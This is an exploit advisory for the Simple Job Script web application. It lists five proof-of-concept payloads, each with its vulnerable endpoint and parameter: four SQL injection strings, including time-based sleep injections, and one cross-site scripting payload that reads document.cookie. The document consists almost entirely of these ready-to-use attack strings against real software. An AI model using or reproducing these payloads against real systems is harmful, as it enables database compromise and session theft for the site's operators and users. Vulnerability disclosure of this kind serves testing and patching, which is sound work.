SJS Simple Job Script SQL Injection / Cross Site Scripting

`# Exploit Title: Simple Job Script - Multiple Vulnerabilities  
# Date: 26.03.2019  
# Exploit Author: Ahmet Ümit BAYRAM  
# Vendor Homepage: https://simplejobscript.com/  
# Download Link:  
https://github.com/niteosoft/simplejobscript/archive/master.zip  
# Demo Site: https://demo.simplejobscript.com  
# Version: Lastest  
# Tested on: Kali Linux  
# CVE: N/A  
  
----- PoC 1: SQLi -----  
  
Request: http://localhost/[PATH]/searched  
Vulnerable Parameter: landing_location (POST)  
Payload:  
landing_location=-1%20OR%203*2*1=6%20AND%20000405=000405%20--%20&landing_title=test  
  
  
  
----- PoC 2: SQLi -----  
  
Request: http://localhost/[PATH]/get_job_applications_ajax.php  
Vulnerable Parameter: job_id (POST)  
Payload: job_id=-1%20OR%203*2*1=6%20AND%20000615=000615%20--%20  
  
  
----- PoC 3: SQLi -----  
  
Request: http://localhost/[PATH]/register-recruiters  
Vulnerable Parameter: employerid (POST)  
Payload: if(now()=sysdate(),sleep(0),0)  
  
  
----- PoC 4: SQLi -----  
  
Request: http://localhost/[PATH]/delete_application_ajax.php  
Vulnerable Parameter: app_id (POST)  
Payload:  
app_id=(select(0)from(select(sleep(0)))v)/*'%2B(select(0)from(select(sleep(0)))v)%2B'"%2B(select(0)from(select(sleep(0)))v)%2B"*/  
  
  
----- PoC 5: XSS -----  
  
Request:  
http://localhost/[PATH]/jobs?_=1&job_type_value[]=Full%20time&srch_location_val[]=fulltime_ctype  
Vulnerable Parameter: job_type_value[] (GET)  
Payload: "><svg+onload%3Dalert(document.cookie)>  
  
`